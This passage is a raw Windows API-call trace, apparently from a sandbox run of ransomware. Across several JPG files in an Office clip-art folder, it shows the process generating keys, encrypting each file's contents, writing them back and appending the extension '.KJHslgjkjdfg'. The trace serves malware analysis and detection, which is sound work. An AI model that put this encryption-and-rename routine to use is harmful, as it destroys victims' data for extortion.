hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0184.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.105] GetProcessHeap () returned 0x2a0000 [0184.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.105] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0184.107] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.107] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.107] GetProcessHeap () returned 0x2a0000 [0184.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.107] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.107] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.108] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.108] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.108] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.108] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x190e9, lpOverlapped=0x0) returned 1 [0184.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x190f0, dwBufLen=0x190f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x190f0) returned 1 [0184.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.111] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x190f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x190f0, lpOverlapped=0x0) returned 1 [0184.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x191c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.111] SetEndOfFile (hFile=0x114) returned 1 [0184.114] GetProcessHeap () returned 0x2a0000 [0184.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.114] GetProcessHeap () returned 0x2a0000 [0184.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.kjhslgjkjdfg")) returned 1 [0184.117] CloseHandle (hObject=0x114) returned 1 [0184.117] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0184.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.118] GetProcessHeap () returned 0x2a0000 [0184.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.118] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.118] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0184.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.141] GetProcessHeap () returned 0x2a0000 [0184.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.141] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.141] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.141] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.141] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.141] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.141] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.142] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17b79, lpOverlapped=0x0) returned 1 [0184.143] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17b80, dwBufLen=0x17b80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17b80) returned 1 [0184.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.145] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17b80, lpOverlapped=0x0) returned 1 [0184.145] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.146] SetEndOfFile (hFile=0x114) returned 1 [0184.149] GetProcessHeap () returned 0x2a0000 [0184.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.149] GetProcessHeap () returned 0x2a0000 [0184.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.kjhslgjkjdfg")) returned 1 [0184.151] CloseHandle (hObject=0x114) returned 1 [0184.151] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0184.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.152] GetProcessHeap () returned 0x2a0000 [0184.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.152] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0184.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.156] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.156] GetProcessHeap () returned 0x2a0000 [0184.156] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.156] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.156] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.156] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.156] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.156] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.157] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14033, lpOverlapped=0x0) returned 1 [0184.161] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14040, dwBufLen=0x14040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14040) returned 1 [0184.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.162] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14040, lpOverlapped=0x0) returned 1 [0184.163] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.163] SetEndOfFile (hFile=0x114) returned 1 [0184.168] GetProcessHeap () returned 0x2a0000 [0184.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.168] GetProcessHeap () returned 0x2a0000 [0184.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.kjhslgjkjdfg")) returned 1 [0184.170] CloseHandle (hObject=0x114) returned 1 [0184.170] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0184.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.171] GetProcessHeap () returned 0x2a0000 [0184.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.171] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0184.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.173] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.173] GetProcessHeap () returned 0x2a0000 [0184.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.173] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.173] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.173] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.174] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.174] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.174] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd8f6, lpOverlapped=0x0) returned 1 [0184.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd900, dwBufLen=0xd900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd900) returned 1 [0184.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.177] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd900, lpOverlapped=0x0) returned 1 [0184.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.178] SetEndOfFile (hFile=0x114) returned 1 [0184.180] GetProcessHeap () returned 0x2a0000 [0184.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.181] GetProcessHeap () returned 0x2a0000 [0184.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.kjhslgjkjdfg")) returned 1 [0184.182] CloseHandle (hObject=0x114) returned 1 [0184.182] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0184.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.189] GetProcessHeap () returned 0x2a0000 [0184.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.189] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.190] 